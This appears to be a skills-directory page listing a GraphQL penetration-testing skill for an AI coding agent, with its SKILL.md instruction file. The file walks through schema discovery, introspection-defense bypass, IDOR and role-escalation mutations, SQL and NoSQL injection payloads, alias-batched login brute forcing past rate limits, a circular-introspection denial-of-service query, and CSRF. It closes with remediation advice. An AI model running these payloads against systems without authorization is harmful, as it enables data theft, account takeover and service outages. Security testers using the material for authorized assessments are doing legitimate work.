Skip to content
Back to skills

Graphql

ASecurity

GraphQL security testing — introspection and bypass, field-suggestion/clairvoyance schema recovery, alias/batch rate-limit bypass, circular-introspection DoS, injection through args, CSRF over GraphQL, and mutation/authorization abuse. Tier 1 (DoS parts Tier 2). Use whenever a GraphQL endpoint is present. Payloads: payloads/graphql.md.

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securityphpsqltestingapibackendsecurity

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill graphql --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Graphql?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Graphql
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-graphql/badge)](https://www.skillsdirectory.com/skills/anandjogawade-graphql)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: graphql
description: "GraphQL security testing — introspection and bypass, field-suggestion/clairvoyance schema recovery, alias/batch rate-limit bypass, circular-introspection DoS, injection through args, CSRF over GraphQL, and mutation/authorization abuse. Tier 1 (DoS parts Tier 2). Use whenever a GraphQL endpoint is present. Payloads: payloads/graphql.md."
---

# GraphQL Security

GraphQL is a layer over the backend — attack the schema, the authz per field/mutation, and classic injection through args. Payloads: `${CLAUDE_PLUGIN_ROOT}/payloads/graphql.md`.

## Trigger phrases
`graphql, introspection, clairvoyance, field suggestion, alias batching, graphql dos, graphql injection, graphql csrf, mutation abuse, graphw00f`

## Method
1. **Discover** — `query{__typename}` → a GraphQL server returns `{"data":{"__typename":"query"}}`. Paths: `/graphql`, `/api`, `/api/graphql`, `/graphql/api`, `/graphiql`, `/v1/graphql`, `/graphql.php`, `/graphql/console/`. If POST blocked, retry `GET ?query=` or form-urlencoded POST. Fingerprint engine with `graphw00f`; audit with `graphql-cop`.
2. **Introspection** — probe `{"query":"{__schema{queryType{name}}}"}`; then the full `IntrospectionQuery` (`__schema{queryType mutationType subscriptionType types{...FullType} directives}`). If it errors, drop deprecated directives (`onOperation/onFragment/onField`). Type lookup: `{__type(name:"User"){name fields{name type{name kind ofType{name kind}}}}}`. Visualize with GraphQL Voyager / InQL.
3. **Authorization / IDOR via args** — enumerate a public list, infer hidden IDs, request them directly, and call privileged mutations (often unprotected):
   ```graphql
   query { products { id name listed } }        # observe IDs 1,2,4
   query { product(id: 3) { id name listed } }  # delisted id 3 leaks → BOLA
   mutation{ updateUser(id:"<other>", role:"admin"){ id role } }
   ```
   test every resolver (`api-bola`/`api-bfla` logic per field).
4. **Injection through args** — GraphQL doesn't stop SQL/NoSQL/command/SSRF:
   ```graphql
   { bacon(id:"1'"){ id } }                              # SQLi detect
   user(name:"x';SELECT pg_sleep(30);--")                # time-based
   search:"{ \"patients.ssn\":{\"$regex\":\".*\"} }"     # NoSQLi
   ```
   feed into `api-injection`; blind → `api-oast-blind`.
5. **Mutation abuse** — unauthorized state changes, privilege changes, `signIn`/`resetPassword` logic: `mutation{ addUser(id:"1",name:"x",email:"x@x"){ id } }`.

## Bypass / evasion
- **Introspection-defense bypass** — whitespace/newline after `__schema` defeats naive regex: `{"query":"query{__schema \n{queryType{name}}}"}`; or POST-blocked→GET: `GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D`.
- **Rate-limit bypass via aliases/batching** — per-request limiter counts once:
   ```graphql
   mutation { login(pass:1111,username:"bob") a2:login(pass:2222,username:"bob") a3:login(pass:3333,username:"bob") }
   ```
   JSON array batching `[{"query":"..."},{"query":"..."}]`; tool **CrackQL** for credential/OTP/coupon brute amplification.
See `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`.

## Modern / rare techniques
- **[NEW/RARE] Field-suggestion / Clairvoyance** — when introspection is off, misspelled fields trigger "Did you mean…" (Apollo); brute field names (Escape graphql-wordlist) with **clairvoyance/clairvoyancex** to rebuild the schema; `graphql-path-enum` for reachability.
- **[NEW/RARE] Circular-introspection / deep-nested DoS** (Tier 2 — gate): response grows exponentially:
   ```graphql
   { __schema { types { fields { type { fields { type { fields { name } } } } } } } }
   ```
   plus circular object relationships `user{posts{author{posts{author{...}}}}}` and alias/field-duplication floods. Only run under the resource-consumption execution gate (`api-resource-consumption`).
- **[RARE] CSRF over GraphQL** — endpoint accepts `GET` or form-urlencoded POST without content-type validation and no CSRF token → cross-site mutation as victim.

## Escalation / chaining
IDOR/mutation → data theft, privilege escalation, ATO. Alias batching → bypass brute/coupon limits. Arg injection → `api-injection` (SQLi/NoSQLi/SSRF). CSRF → state change as victim. Chain discovery from `api-recon`.

## Backend & tooling
Preferred Kali path (WSL+Kali / Kali-MCP / HexStrike): graphw00f, graphql-cop, InQL/GraphQLmap, clairvoyance, CrackQL, BatchQL. Route through Burp (InQL). See `zazy-orchestrator`.

## Verification (background, before reporting)
Confirm leaked/changed objects belong to another identity (second account); confirm injection with a second payload/OAST; for DoS show measured growth under the gate without an outage. True positives only.

## Evidence
The query/mutation + response proving the issue (schema recovered, other-tenant object, alias brute success, injection result), with impact + remediation (disable introspection in prod, per-resolver authz, depth/cost limits, JSON-only + CSRF token, persisted queries).

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.